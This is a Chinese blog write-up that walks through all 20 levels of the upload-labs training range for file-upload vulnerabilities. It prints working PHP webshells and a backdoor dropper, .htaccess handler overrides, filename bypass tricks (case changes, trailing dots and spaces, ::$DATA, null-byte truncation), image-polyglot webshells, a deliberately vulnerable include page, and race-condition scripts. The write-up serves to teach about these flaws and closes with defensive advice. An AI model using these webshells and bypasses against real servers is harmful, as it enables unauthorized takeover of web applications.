【upload-labs】靶场做题记录(20题全)

upload-labs靶场做题记录

upload-labs github地址:https://github.com/c0ny1/upload-labs

目录

Pass-01 前端验证

第一题,尝试上传一个webshell到服务器
在这里插入图片描述

使用的webshell:

<?php @eval($_POST[CMD]);?>

观察:

使用burpsuit抓包,尝试上传文件,发现文件在弹出提示时burpsuit没有抓到包,所以文件验证应该是在前端。接下来要解决的就是在前端文件中,从相应代码和逻辑里找到漏洞,将webshell文件发送到服务器上。
pass1

解决方式一:

浏览器开发者工具中,观察php文件发现js脚本函数checkfile(),可以将此处函数删除
在这里插入图片描述

或是在文件类型处添加.php类型
在这里插入图片描述

解决方式二:

在firefox的调试器中选择 “禁用JavaScript” ,刷新页面后成功上传文件。
在这里插入图片描述

解决方式三:

将php文件后缀改为.jpg(服务器允许上传的文件类型),上传时使用burpsuit抓包,将filename后缀名改回.php,发包。
在这里插入图片描述

文件已发送到服务器,接下来做的就是找到文件的服务器路径,使用webshell连接工具连接。
在这里插入图片描述

这里可以看到有一个图块,右键打开图像,我们可以看到它的路径信息。在这里插入图片描述

使用webshell工具连接(此处使用的是菜刀)。
在这里插入图片描述

连接成功。
在这里插入图片描述

Pass-02 Content-Type验证

观察:

上传webshell时先抓到了包,上传后才提示“文件类型不正确”,应该是在服务器端做了验证。
在这里插入图片描述
在这里插入图片描述

查看源代码,可以看到,文件content-type需要是允许的那几个
在这里插入图片描述

解决方式一:

修改Content-Type为图片
在这里插入图片描述

解决方式二:

将php文件修改后缀为jpg,上传,抓包,改回.php。
在这里插入图片描述

成功上传。

Pass-03 黑名单过滤,不过不够完全,后缀改为httpd.conf中其他后缀绕过

观察:

使用抓包后改后缀(上传就jpg后缀php文件,抓包后改后缀)的方式,上传后显示不允许上传,判断在服务器做了验证。
在这里插入图片描述

查看源代码可以发现,是做了黑名单。
在这里插入图片描述

解决:

php中,有很多可以被读取为php的后缀,如果对后缀的过滤不完全,就给文件上传攻击制造了机会。
这些后缀有:

  • php php7 php5 php4 php3 php2 php1 html htm phtml pht 等等

我们挑选一个不在黑名单的后缀上传即可。
如果我们是asp的环境,我们可以用asa、cer、cdx,这样的后缀名,进行绕过,如果我们是aspx的环境,我们能够用ashx、asmx、ascx、esms,当我们遇到jsp的时候,我们可以用jspx、jspf,这种后缀名进行绕过。
PS:此处的前提是服务端Apache打开了相应的后缀配置,配置方法如下:
1,进入phpstudy网站根目录,来到phpstudy/Apache目录下,修改httpd.conf文件,
2,找到AddType application/x-httpd-php这一行,
在这里插入图片描述

3,加入相应后缀即可。
在这里插入图片描述

上传成功。

Pass-04 黑名单过滤,除了.htaccess,上传.htaccess绕过

观察:

查看提示,发现本题中几乎过滤了所有有问题的扩展名,除了.htaccess文件。
.htaccess文件是运行Apache服务器中的一个配置文件,.htaccess是完整的文件名,不是文件扩展名。该文件提供了一种基于每个目录进行配置更改的方法。包含一个或多个配置指令的文件放置在特定的文档目录中,这些指令适用于该目录及其所有子目录,对配置和重定向Apache文件系统很有用。
通过.htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

解决:

上传.htaccess解析文件,利用其配置,将白名单文件的类型解析成php文件类型。
上传.htaccess文件 内容如下:(将服务器上的test.jpg文件解析成php文件,这里文件可以自由配置)

<FilesMatch "a.jpg">         SetHandler application/x-httpd-php</FilesMatch>

ps:如果内容只有这么一句话,表示把所有文件解析为php文件。

SetHandler application/x-httpd-php

再上传一个一句话木马,文件名为a.jpg,依旧访问a.jpg,但其会以php形式显示。

在这里插入图片描述

成功。

Pass-05 黑名单过滤,没做大小写转换,修改后缀名大小写绕过

观察:

这一关中我们可以发现,题中用了黑名单的方法,将htaccess等文件也被禁用了,不过仔细观察源码后可以发现,这道题中并没有做大小写过滤。
在这里插入图片描述

如果观察一下前几道题,我们就可以在源码中看到相应的大小写转换函数,这是做了后缀名的大小写转换,防止例如pHp、Php这种被上传到服务器中。
在这里插入图片描述

解决:

知道了服务器端没有做大小写转换,我们就可以使用大小写绕过的方式,使用类似.Php、.phP的方式绕过过滤。
抓包,改后缀,提交。
在这里插入图片描述

成功。
在这里插入图片描述

最后:
黑名单方式过滤得并不够全面,我们建议在写相应代码中,使用白名单的方式,如果在代码中仅允许上传".jpg|.png|.gif"格式,那么无论我门怎么修改文件后缀大小写都是没有办法的,所以,我们建议去使用白名单方式,而不是黑名单。

Pass-06 黑名单过滤,没做去空格,后缀名最后加空格绕过(windows特性)

观察:

对比第五题,观察源码,这道题中少了一处代码,首尾去空格。
在这里插入图片描述

因为它在里面进行验证的方式是黑名单,.php是被放在黑名单中的,不允许上传,那如果我们在.php后面加个空格,这个时候,我们就能绕过所有的验证方式。
windows的文件名中是不允许有空格的,如果我们尝试修改会发现文件名中的空格会被删掉。

解决:

我们在后缀名末尾加空格能绕过黑名单的检测,同时windows会帮我们把空格删掉,将它变回原本的文件名。我们可以利用Windows的这一特性绕过这一关的黑名单。
PS这个特性是Windows独有的,如果使用的是Linux系统,我们就不可以用这种方式了。
上传"a.php"文件,抓包,改后缀为"a.php "。
在这里插入图片描述

尝试连接。
在这里插入图片描述

成功。

Pass-07 黑名单过滤,没做去点,后缀名最后加点绕过(windows特性)

观察:

该题的提示中说明了该题已经过滤了全部可以解析的后缀,对比该题与第六题源码,很容易发现该题缺少了去除“文件名末尾的点”功能。
windows系统中,后缀名的后面也是不可以加点的,如果有,也会将它删除。

解决:

我们可以尝试在后缀名后面加上点的方式,windows会将文件名最后的点删除,与上题同样,可以达到绕过过滤的效果。
上传,抓包,改后缀——将"a.php"改为"a.php."。
在这里插入图片描述

尝试连接。
在这里插入图片描述

成功。

Pass-08 黑名单过滤,没做去::$DATA操作,后缀名最后加::$DATA绕过(windows特性)

补充知识

  • Windows本地文件系统中的文件流(File Streams):
  • 当从 Windows shell 命令行指定创建文件时,流的完整名称为 “filename:stream name:stream type”,如示例中所示: “myfile.txt:stream1:$DATA

流类型
下面是 NTFS 流类型(也称为属性类型代码)的列表。*[ 某些NTFS 内部的流类型格式未记录。]
在这里插入图片描述

  • 对NTFS格式下的一个文件而言,至少包含一个流,即data流(其stream type为$DATA),data流是文件的主流,默认的data流其stream
    name为空。默认一个文件如果被指定了流,而该流没有stream
    type的话会在存储时自动添加$DATA。例如上面看到的例子myfile.txt:stream1: $DATA在存储时实际上是为myfile.txt:stream1,但在查询结果中需要去除:$DATA,否则会出现参数错误,这个是notepad不能很好的支持流所导致的。

  • 对文件夹而言,没有data流,其主流是directory流(stream type为$INDEX_ALLOCATION),directory流默认的stream
    name是$I30。尽管文件夹默认没有data流,但用户可为其指派data流。

观察:

windows的环境中,在上传文件时,文件名加上::$DATA,服务器就会将::$DATA之后的数据当做文件流进行处理,而且它不会检测后缀名,会保留之前的文件名。
对比源码可以知道,这道题中没有做过滤::$DATA的处理,我们可以利用这个特性进行绕过。

解决:

上传,抓包,改后缀——将"a.php"改为"a.php::$data"。
在这里插入图片描述

打开图片,将路径中::$data删掉。
在这里插入图片描述

尝试连接。
在这里插入图片描述

成功。

Pass-09 黑名单过滤,根据代码,使用后缀. .绕过

观察:

trim()删除文件名中的空格。
deldot()删除文件名最后的点,直到不是点为止。

观察源码可以看到,文件在上传后先是被取出了文件名,经过第一次trim函数去掉文件名首尾的空格,然后经过deldot函数去掉文件名末尾的点,最后再次将文件后缀名的首尾空格去掉。
在这里插入图片描述

而这道题的解决方法就是钻这个顺序的空子,它是先删点再去空格,那我们就在文件名后面加上点空格点(. .)。
效果:[a.php. . ]–经过去除点变成->[a.php. ]–经过去除空格变成->[a.php.]–文件后缀不在黑名单中->–文件上传成功。

解决:

上传,抓包,修改后缀
在这里插入图片描述

尝试连接。
在这里插入图片描述

成功。

Pass-10 黑名单过滤,黑名单后缀替换成空,使用双写后缀绕过

观察:

查看该题源码可以看到,该题仍然使用的是黑名单过滤,不过与之前不同的是,该题中是将黑名单后缀替换成空
在这里插入图片描述

解决:

我们可以尝试使用双写后缀名的方式绕过。

双写后缀名
经过str_ireplace函数从前往后删除第一个字符php
a.php
a.pphph
变回a.php
成功过检测

上传,抓包,改后缀。
在这里插入图片描述

尝试连接,成功。
在这里插入图片描述

Pass-11 可控路径在类似Get请求方式的URL 中,使用%00截断

观察:

代码上没有找到什么特殊的地方,再去看一下抓包
在这里插入图片描述

这时我们可以注意到,有一个地方不太一样,抓包的传参中有一个save_path,类似的地方都是值得我们注意的,我们可以在此处尝试一些试验。
在这里插入图片描述

我们可以先看一下这个参数内容是否可控,是否当我们对它做一些不安全的更改时也能照样执行下去。
尝试直接发php文件,理所当然地被拒绝了。
在这里插入图片描述

我们先将后缀改为.jpg,这次我们试验的重点是路径save_path上。
在这里插入图片描述

上传成功了,接下来我们就可以在save_path上做一些修改。
我们将save_path中的upload删掉。
在这里插入图片描述

同样上传成功,我们打开这个链接看下。
在这里插入图片描述

没有问题。(此处用的是chrome浏览器,显示了一个小图块,如果是用火狐打开该网页,会提示“该图像因为错误而无法显示”,这也是正常的现象。)
这证明这个save_path并没有做相应的防范,可以对它做更深的尝试。

00截断
0x00是十六进制表示方法,是ascii码为0的字符。有些函数在处理时会把0x00作为结束符,系统在对文件名的读取时,如果遇到0x00就会认为读取已结束,这个特性可以用在对文件类型名的绕过上。
不过要注意的是,这指的是文件的16进制内容里的00,而不是文件名中的00,就是说系统是按16进制读取文件(或者说二进制),遇到ascii码为零的位置就停止,而这个ascii码为零的位置在16进制中是00,用0x开头表示16进制,也就是所说的0x00截断。
同样地,%00是unicode的0x00。

解决:

我们可以尝试使用00截断来解决这道题。
抓包,将目录名改成a.php%00,尝试上传。
在这里插入图片描述

PS:
在做这道题时,当我使用了00截断并上传时,出现了上传失败的提示,这是因为我们的php中默认会打开magic_quote功能,我们做题时需要在服务器端的php.ini中将magic_quote关掉。
在这里插入图片描述

这两个功能都在phpstudy的菜单栏中,打开服务器端,右键phpstudy,在选项中分别可以看到“打开配置文件”和“php版本切换”。
在这里插入图片描述

选择”php版本切换“,将php版本改为5.2,选择应用。
在这里插入图片描述

切换完成后,打开php的配置文件,在php.ini中将 magic_quotes_gpc=On 改为 magic_quotes_gpc=Off(如果默认为Off就不需要动),
在这里插入图片描述

保存,重启服务器,继续做题。
尝试上传。
在这里插入图片描述

上传成功,我们来访问一下路径。
在这里插入图片描述

直接打开后是这样的,我们将后面删除掉。
在这里插入图片描述

这就是可以用来连接的路径了,尝试连接。
在这里插入图片描述

连接成功。

Pass-12 可控路径在Post请求体中,使用0x00截断

观察:

这一关与上一关不同的是,这一关的可控路径在post请求正文中
在这里插入图片描述

解决:

我们同样使用00截断来绕过。
服务器读报文是读十六进制的,上一关的可控路径在类似get请求方式的url中,url有着单独的编码——url码,服务器会将url码转为十六进制,所以0x00需要变为url码的%00。这一关中在Post的请求体中,我们直接将请求体中对应位置的十六进制改为00就好了。
PS:
0x00是一种十六进制的表示方法,就是在十六进制的字符前加个“0x”来表示十六进制。例:0x1A表示十六进制的1A,等于十进制的26,0xCC表示十六进制的CC,等于十进制的204。
将一句话木马文件后缀改为.jpg,再将路径后添加上要改为的后缀,后面加上一个空格(空格的十六进制是20,比较好记,其实其他字符也都可以的,看个人习惯)。
在这里插入图片描述

将burpsuit的报文视图改为HEX,对照右边的字符,找到a.php后面对应空格的十六进制“20”,
在这里插入图片描述

改成截断字符“00”。
在这里插入图片描述

发送。
在这里插入图片描述

成功,将后面字符删掉,然后用webshell管理工具连接。
在这里插入图片描述

成功。

Pass-13 检查图片文件头两个字节,使用改文件头、图片马绕过

观察:

从这道题开始与前面有点不一样,我们需要使用图片马来完成相应的绕过。
图片马,顾名思义,是将木马包含在图片中。

注意的有三点:
1.保证上传后的图片马中仍然包含完整的一句话或webshell代码。
2.使用文件包含漏洞能运行图片马中的恶意代码。 这点就是我们这篇文章讲的组合漏洞的一个利用,就是利用文件包含漏洞
3.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关! 图片马就是我们在图片当中插入一句话木马,组合成的一个图片 文件包含漏洞是在php当中为了能够节省我们的开发时间,提高我们的开发效率,开发引入的一个叫文件包含的功能,这文件包含在java和python中,都有这个功能,在java当中叫impose什么包,什么包,在python中,也有同样引入包的功能,所以说,文件包含跟我们包的引入,没有太大的区别,就是用include,或者require,这两个函数,去引用不同的代码,然后当成我们本地网页的代码,来执行,这叫文件包含,就是在一个文件里面,包含另外一个文件
参考原文链接:https://blog.csdn.net/m0_53008479/article/details/123778743

文件头是位于文件开头的一段承担一定任务的数据,一般都在开头的部分。

解决方法一:

通过提示我们可以知道,该题是在对比图片的文件头,那么我们在我们的一句话木马中加入图片文件的文件头就可以完成绕过。
选择php文件,上传,抓包
在这里插入图片描述

在要放入文件头的地方打空格,这方便我们待会儿在十六进制视图中找它。
在这里插入图片描述

改为十六进制视图,找到打空格的地方,写入gif的文件头47494638(从右边可以看到47494638也相当于字符GIF8,我们也可以直接在raw视图中输入GIF8 来作为文件头,效果是一样的)。若是发现空格占的位置过多或是不够多,可以切回raw视图加减几个空格
在这里插入图片描述

放包,上传成功。
在这里插入图片描述

右键图片,打开图片链接
在这里插入图片描述

这里的图片马的利用需要结合文件包含漏洞,现在这里如果需要验证,可以按照接下来的方法继续做。
创建一个php文件,内容如下:

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file =$_GET['file'];
if(isset($file)){
    
    
    include $file;
}else{
    
    
    show_source(__file__);
}
?>

该文件意思是
获得get方式中file参数的内容写入变量$file,然后将$file指向的文件作为代码执行。
将文件放入服务器后台的upload目录下
在这里插入图片描述

我们查看一下这个文件
在这里插入图片描述

现在还没有进行传参,所以isset($file)的判断是Null,文件代码被显示出来。
我们将使用这个文件来解析先前上传的gif文件,如以下传参方式,将路径传入file参数,这个参数将被文件接收,接下来file参数指向的文件将被作为代码执行。

http://127.0.0.1/upload-labs/upload/include.php?file=要解析的文件路径

在这里插入图片描述

发现刚刚的文件代码没有了,取而代之的是原先一句话木马文件的文件头GIF8,不用管他,这代表我们的代码已经执行,接下来我们可以使用蚁剑连接了。
在这里插入图片描述

成功。
我们可以用同样的方式将png、jpg上传并执行。
jpg:
在这里插入图片描述

png:
在这里插入图片描述

完成。

解决方法二

使用copy命令将正常图片和php一句话木马结合起来制作为图片马。
在这里插入图片描述

使用命令 copy 2.png /B + a.php /A test.png
copy命令的用法如下:
在这里插入图片描述

将组合出的图片马原样上传,抓包可以看到copy的执行效果,把两个文件的内容直接拼接起来了,png文件内容放在前面,php文件内容放在后面。
在这里插入图片描述

打开图片路径,图片可以照样看到。
在这里插入图片描述

访问先前文件包含漏洞的利用文件include.php并将图片马的路径传参。(如果在重新做这道题时使用了uoload-labs自带的清理文件按钮,会将include.php也给清理掉,记得重新往服务器upload/里添加一个哦)
在这里插入图片描述

可以看到,显示的是图片的内容。同样的我们可以使用蚁剑尝试连接。
在这里插入图片描述

成功。

Pass-14 getimagesize()检查,使用改文件头、图片马绕过

观察:

从提示中可以看到,本题使用getimagesize()检查。
在这里插入图片描述

解决方法一:

getimagesize()也是检查文件头来判断文件的类型的,所以可以使用pass-13同样的方法

解决方法二:

如果使用上题中的第二种方式,将图片和木马合并成图片文件,然后同样可以上传成功。
在这里插入图片描述

Pass-15 php_exif模块检查,使用改文件头、图片马绕过

观察:

查看源代码,可以看到备注中有句话“需要开启php_exif模块",这个模块的开启方法是
在服务器端进入php.ini,注意是你使用的php版本相应的php.ini,找到exif.dll,将分号去掉,将它打开。
在这里插入图片描述

再找到[exif]段,将这几个打开
在这里插入图片描述

保存,重启服务器。
验证exif打开,可以在服务器路径下创建一个php文件,内容是查看phpinfo
在这里插入图片描述

可以在phpinfo中搜索到exif的相关信息,证明exif已打开。
在这里插入图片描述

解决:

这道题中的验证方式与前两题异曲同工,我们可以使用同样的两种方法来绕过。

Pass-16 二次渲染图片

观察:

该题中使用了imagecreatefromjpeg/gif/png的方式二次渲染了图像
在这里插入图片描述

我们如果按照之前的方式发送改了文件头的一句话,会提示错误。
在这里插入图片描述

如果发送合并的图片马,那么在上传完成后,服务器会将图片马做二次渲染,会将我们的一句话木马给删除掉。
图片马上传前:
在这里插入图片描述

图片马上传到服务器后,服务器返回的图片:
在这里插入图片描述

可以看到,其中的一句话木马已经没有了。
对比上传前和上传后的图片文件 (这里我使用的是010edit进行对比,有一些小伙伴会使用notepad++,不过notepad++的政治立场有很大问题,我个人倾向于使用其他产品。)
在这里插入图片描述

我们可以看到,虽然大部分地方有些变动,然而仍有部分显示为白色和淡灰色,它们是未变动的部分,我们可以尝试将一句话木马插入这一部分内容中。

解决:

gif:(因为gif格式在本题中被修改的内容比png和jpg更少,建议首先使用gif文件完成题目)
我们可以在原图片的基础上做一些修改,将一句话插入不会被改变的部分代码中。
在这里插入图片描述

保存,上传。
在这里插入图片描述

使用文件包含漏洞来利用这个图片内的代码。
在这里插入图片描述

没有报错,说明没有问题,我们使用蚁剑连接一下
在这里插入图片描述

连接成功。
PS:
    我在完成这道题的过程中曾出现了很多次错误,从调试png一句话的位置,发现即使是有些部分是不变的,待我插入一句话再上传、二次渲染后仍然被改变了。还有情况是到了文件包含利用的这一步时,将文件中包含的一些类似代码的数据也当做代码执行了,引发了各种报错,我个人认为,做这道题的时候,尽量选择中等大小或是小型的图片,图片内容从ascii上看来不是那么复杂的图片,若是出现一些问题,可以多试几次其他插入点,或是更换其他图片尝试。
png:(使用png马时,由于文件结构的原因,并不能像使用gif时那样简单。)
(参考了两篇文章:1,详解PNG文件结构 2, upload-labs之第十六关)

png的文件组成:
PNG文件结构主要有数据块(Chunk Block)组成,最少包含4个数据块。

PNG标识符 PNG数据块(IHDR) PNG数据块(其他类型数据块) PNG结尾数据块(IEND)

png定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块。另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们,PNG读写软件也都必须要支持这些数据块。 PNG文件中,每个数据块由4个部分组成,如下:

在这里插入图片描述


CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC码生成多项式进行计算:

php x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1

IHDR
    数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。
文件头数据块由13字节组成,它的格式如下所示。
在这里插入图片描述

PLTE
调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。

IDAT
图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。 IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像

IEND
图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。
如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的: 00 00 00 00 49 45 4E 44 AE
42 60 82

1、写入PLTE数据块
    php底层在对PLTE数据块验证的时候,主要进行了CRC校验.所以可以再chunk data域插入php代码,然后重新计算相应的crc值并修改即可。
这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别。(03为索引彩色图像)
…(此处耗时太久,不再赘述,后续请移步该文章https://blog.csdn.net/baidu_38294816/article/details/121022854)

Pass-17 条件竞争1

参考原文链接:https://blog.csdn.net/weixin_47598409/article/details/115050869

观察:

打开第十八关,通过提示发现跟以前的都不一样,提示需要代码审计。
看来线索就是在源码里面,我们来一起审计分析一下代码

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    
    
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
    
    
        if(in_array($file_ext,$ext_arr)){
    
    
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
    
    
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
    
    
        $msg = '上传出错!';
    }
}

从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。

这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。

那还怎么搞?上传上去就被删除了,我还怎么去访问啊。

不慌不慌,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。

我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。

为了更好的演示效果,把一句话木马换一下改为:

<?php fputs(fopen('a1.php','w'),'<?php @eval($_POST["CMD"])?>');?>

把这个php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在当前目录下生成一个Tony.php的一句话。在正常的渗透测试中这也是个好办法。因为单纯的去访问带有phpinfo()的文件并没有什么效果。一旦删除了还是无法利用。但是这个办法生成的Tony.php服务器是不会删除的,我们就可以通过蚁剑去链接了。

首先,我们上传PHP文件,用BP拦截,发送到intrude模块。
在这里插入图片描述

进行下一步操作前,这里有个小细节,就是不要把BP的拦截功能关闭了,要一直保持拦截状态以达到测试更好的效果
然后选择Clear$清除payload点。
在这里插入图片描述

接着设置无限发送空的Payloads,来让它一直上传该文件,
payload类型改为空,payload选项设置为无限期继续。
在这里插入图片描述

burp新版本中在资源池中有最大并发数选项,可以达到多线程的效果。
在资源池中创建新资源池,将最大并发数配置高一点(如20,默认10)。

在这里插入图片描述

然后我们写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的a1.php文件) 由于隐私原因,IP地址不能放出来,下面的脚本的url地址XXX都是代表IP地址

import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/a1.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

脚本中,requests库需要在python中使用pip3 install requests 下载后才可调用。
接下来我们在Burp的intruder中点击开始攻击。
在这里插入图片描述

然后执行python脚本。
在这里插入图片描述

提示“OK”,说明木马文件创建成功,已经成功访问了木马文件。
我们使用蚁剑连接一下。
在这里插入图片描述

连接成功。

Pass-18 条件竞争2

该题中有两种解决方法:

第一种:条件竞争+文件包含漏洞+图片马

事先准备: 使用文件包含漏洞上传include文件,将gif解析为php文件。
在图片中插入木马生成图片马,内容与上一题一样。

<?php fputs(fopen('a1.php','w'),'<?php @eval($_POST[CMD]) ?>'); ?>

在这里插入图片描述

准备python脚本,重复访问图片马,使图片马内的代码得到执行,内容如下:

from cgitb import html
import requests
url = "http://192.168.86.128/upload/include.php?file=Trojan.gif"

html=requests.get(url)
while True:
    html = requests.get(url)
    if html.status_code!=404:
        print("OK")
        break

Burp重复发包,配置与上题一样。
在这里插入图片描述

运行python脚本,直到提示ok。
在这里插入图片描述

从后台看可以看到,a1.php已经被创建了,内容正是一句话木马。
在这里插入图片描述

蚁剑连接成功。
在这里插入图片描述

第二种:条件竞争+apache解析漏洞

知识点:apache有个著名的文件名解析漏洞——Apache认为一个文件可以拥有多个扩展名,哪怕没有文件名,也可以拥有多个扩展名。Apache认为应该从右到左开始判断解析方法的。如果最右侧的扩展名为不可识别的,就继续往左判断,直到判断到文件名为止。

利用方法是将文件名改为trojan.php.xxx,当服务器解析不了最后面的.xxx时就会向左继续判断,发现.php是能够被解析的,就会作为php文件解析。

观察:
从该题的代码审计中,我们可以知道,该题允许上传的后缀名有这些:
在这里插入图片描述

可是实际上,我们的服务器并没有让这些后缀名都能被解析,比如其中的“.7z”后缀。
我们可以使用“trojan.php.7z”这个文件名绕过上传过滤,再利用apache文件解析漏洞使服务器将文件作为.php文件解析。
解决:
trojan.php.7z文件内容:

<?php fputs(fopen('a1.php','w'),'<?php @eval($_POST[CMD])?>');?>

因为在本题中,服务器会将成功上传的文件进行重命名,该举动会将.7z之前的文件名都变成随机文件名,所以还需要利用条件竞争漏洞在文件重命名前执行该文件。
条件竞争时使用到的重复访问脚本,与方法一相同,只是改了下访问的url:

from cgitb import html
import requests
url = "http://192.168.86.128/upload/trojan_1.php.7z"

html=requests.get(url)
while True:
    html = requests.get(url)
    if html.status_code!=404:
        print("OK")
        break

将trojan.php.7z发送给服务器,期间用burp进行拦截,将拦截到的报文发送到intrude,intrude配置与上一题相同,配置好后进行攻击(重复发送)。
在这里插入图片描述

运行重复访问脚本,直到ok。
在这里插入图片描述

后台查看,a1.php已经创建成功。
在这里插入图片描述

蚁剑访问,成功。
在这里插入图片描述

Pass-19 00截断

该题中只是做了个黑名单验证,还有多了个用户自定义保存名称,漏洞很多,可以将之前题目中的知识都运用进来。

方法一:(00截断)

从代码中可以看到,题中使用了move_uploaded_file()函数将上传的文件名和
上传文件,抓包,添加,更换到十六进制视图,将.php和.jpg之间加号改为十六进制00。
在这里插入图片描述

这样就能用.jpg绕过黑名单过滤了,在move_uploaded_file()时,读取到00截断的位置就会停下,使文件名变为upload-19.php保存。
放包,右键图片取得路径,蚁剑访问。
在这里插入图片描述

成功。

方法二:(文件名后缀绕过)

从源码可以看到,该题中是做了黑名单,不过黑名单中只有.php,没有做大小写转换,所以我们可以通过将.php改为.PHP来绕过。
上传文件,抓包,将此处改为.PHP。
在这里插入图片描述

防包,右击图片找到路径,蚁剑连接。
在这里插入图片描述

成功。

Pass-20 白名单过滤-数组

参考原文链接:https://blog.csdn.net/baidu_38294816/article/details/121024310

观察:

相比较于上一关的源码,此处服务器端先是检查了MIME类型,然后判断save_name参数是否为空,为空就把文件本来名称赋值给$file,否则就是将save_name参数的值赋给它。紧接着判断$file是否是数组
如果不是数组则将其拆成数组,然后数组最后一个的值(end函数就是取数组最后一个的值)同白名单做比较,符合jpg、png、gif中的一种就允许上传了。
在允许上传之后还要把数组的值拼接在一起对文件进行重命名。
在这里插入图片描述

解决:

所以我们可以构造save_name[0]=cs.php/ save_name[1]置为空 save_name[2]=jpg(一个白名单的合法后缀)。
这样的话,reset($file)取的是数组的第一个元素即cs.php/,然后接了一个’.’符号,之后又将数组最后一个元素内容拼接到一起。
可能有的人会疑问数组最后一个值不是jpg吗?其实当我们只设置了两个数组元素的时候,数组的元素个数就只有两个了。
既然一共只有两个元素,这里就是$file[2-1]也就是$file[1]。因此拼接的就是空的,最终得到的文件名就是cs.php/.。
对于像cs.php/.这样的文件路径,move_uploaded_file()函数会忽略掉文件末尾的/.。如此一来我们上传到服务器的文件还是被重命名为了php后缀。
上传文件,抓包,改包。
在这里插入图片描述

放包,成功。
在这里插入图片描述

蚁剑尝试访问(注意,此处的文件名是".php.",最后的点不要丢了)。
在这里插入图片描述

成功。

总结

文件上传

漏洞成因: 具备上传文件功能的Web等应用,未对用户选择上传的文件进行校验,使得非法用户可通过上传可执行脚本而获取应用的控制权限。
防护与绕过: 通过upload-labs靶场实战,了解更多的防护与绕过手段。
防御

不要暴露上传文件的位置
禁用上传文件的执行权限
黑白名单
对上传的文件重命名,不易被猜测
对文件内容进行二次渲染
对上传的内容进行读取检查

不同系统有不同的需求,根据系统需求制定特定的防御手段。
(WAF加上复合型防火墙,一键安装解君愁~)

其他资料:

上传漏洞类型脑图
在这里插入图片描述

如何判断上传漏洞类型的脑图
在这里插入图片描述upload-labs github地址:https://github.com/c0ny1/upload-labs

猜你喜欢

转载自blog.csdn.net/ON_Zero/article/details/126035189